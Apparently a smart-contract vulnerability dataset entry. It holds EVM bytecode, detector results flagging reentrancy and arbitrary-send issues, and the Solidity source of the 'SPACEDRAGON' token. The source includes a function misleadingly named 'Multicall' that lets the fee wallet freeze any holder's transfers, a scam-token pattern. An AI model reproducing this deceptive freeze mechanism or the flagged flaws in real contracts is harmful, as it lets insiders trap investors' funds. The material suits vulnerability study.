0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d770886cb6ebfd4a1cc1b3d43c7b91a93bb59d35fbefe3293cada4ea8a45fe764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,594 |
0xaca225323bdb8be6e5ebe316d7b025ae388a651a | /**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
SPACE DRAGON
SPACE DRAGON - Small tax : 4% / 4%
Max buy : 2%
Max wallet : 4%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SPACEDRAGON is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"SPACEDRAGON"; ////
string public constant symbol = unicode"SPACED"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 4;
uint public _sellFee = 4;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105f9578063db92dbb61461060e578063dcb0e0ad14610623578063dd62ed3e14610643578063e8078d941461068957600080fd5b806395d89b411461057c578063a9059cbb146105ae578063b2131f7d146105ce578063c3c8cd80146105e457600080fd5b806370a08231116100e757806370a08231146104e9578063715018a6146105095780637a49cddb1461051e5780638da5cb5b1461053e57806394b8d8f21461055c57600080fd5b806349bd5a5e1461047e578063509016171461049e578063590f897e146104be5780636fc3eaec146104d457600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b75780633bbac579146103ef5780633bed43551461042857806340b9a54b1461044857806345596e2e1461045e57600080fd5b806327f3a72a14610345578063313ce5671461035a57806331c2d8471461038157806332d873d8146103a157600080fd5b80630b78f9c0116101d75780630b78f9c0146102d357806318160ddd146102f35780631940d0201461030f57806323b872dd1461032557600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610281578063095ea7b3146102a357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102746040518060400160405280600b81526020016a29a820a1a2a22920a3a7a760a91b81525081565b6040516102349190611c24565b34801561028d57600080fd5b506102a161029c366004611c9e565b61069e565b005b3480156102af57600080fd5b506102c36102be366004611cbb565b610713565b6040519015158152602001610234565b3480156102df57600080fd5b506102a16102ee366004611ce7565b610729565b3480156102ff57600080fd5b50683635c9adc5dea0000061022a565b34801561031b57600080fd5b5061022a600f5481565b34801561033157600080fd5b506102c3610340366004611d09565b6107ac565b34801561035157600080fd5b5061022a610894565b34801561036657600080fd5b5061036f600981565b60405160ff9091168152602001610234565b34801561038d57600080fd5b506102a161039c366004611d60565b6108a4565b3480156103ad57600080fd5b5061022a60105481565b3480156103c357600080fd5b506009546103d7906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103fb57600080fd5b506102c361040a366004611c9e565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043457600080fd5b506008546103d7906001600160a01b031681565b34801561045457600080fd5b5061022a600b5481565b34801561046a57600080fd5b506102a1610479366004611e25565b610930565b34801561048a57600080fd5b50600a546103d7906001600160a01b031681565b3480156104aa57600080fd5b506102a16104b9366004611c9e565b6109f4565b3480156104ca57600080fd5b5061022a600c5481565b3480156104e057600080fd5b506102a1610a62565b3480156104f557600080fd5b5061022a610504366004611c9e565b610a8f565b34801561051557600080fd5b506102a1610aaa565b34801561052a57600080fd5b506102a1610539366004611d60565b610b1e565b34801561054a57600080fd5b506000546001600160a01b03166103d7565b34801561056857600080fd5b506011546102c39062010000900460ff1681565b34801561058857600080fd5b506102746040518060400160405280600681526020016514d41050d15160d21b81525081565b3480156105ba57600080fd5b506102c36105c9366004611cbb565b610c2d565b3480156105da57600080fd5b5061022a600d5481565b3480156105f057600080fd5b506102a1610c3a565b34801561060557600080fd5b506102a1610c70565b34801561061a57600080fd5b5061022a610d14565b34801561062f57600080fd5b506102a161063e366004611e4c565b610d2c565b34801561064f57600080fd5b5061022a61065e366004611e69565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069557600080fd5b506102a1610da9565b6008546001600160a01b0316336001600160a01b0316146106be57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006107203384846110f0565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074957600080fd5b600a82111561075757600080fd5b600a81111561076557600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107da57506001600160a01b03831660009081526004602052604090205460ff16155b80156107f35750600a546001600160a01b038581169116145b15610842576001600160a01b03831632146108425760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084d848484611214565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087c908490611eb8565b90506108898533836110f0565b506001949350505050565b600061089f30610a8f565b905090565b6008546001600160a01b0316336001600160a01b0316146108c457600080fd5b60005b815181101561092c576000600660008484815181106108e8576108e8611ecf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092481611ee5565b9150506108c7565b5050565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161083990611f00565b6008546001600160a01b0316336001600160a01b03161461097a57600080fd5b600081116109bf5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610839565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610708565b6009546001600160a01b0316336001600160a01b031614610a1457600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610708565b6008546001600160a01b0316336001600160a01b031614610a8257600080fd5b47610a8c81611883565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161083990611f00565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3e57600080fd5b60005b815181101561092c57600a5482516001600160a01b0390911690839083908110610b6d57610b6d611ecf565b60200260200101516001600160a01b031614158015610bbe575060075482516001600160a01b0390911690839083908110610baa57610baa611ecf565b60200260200101516001600160a01b031614155b15610c1b57600160066000848481518110610bdb57610bdb611ecf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219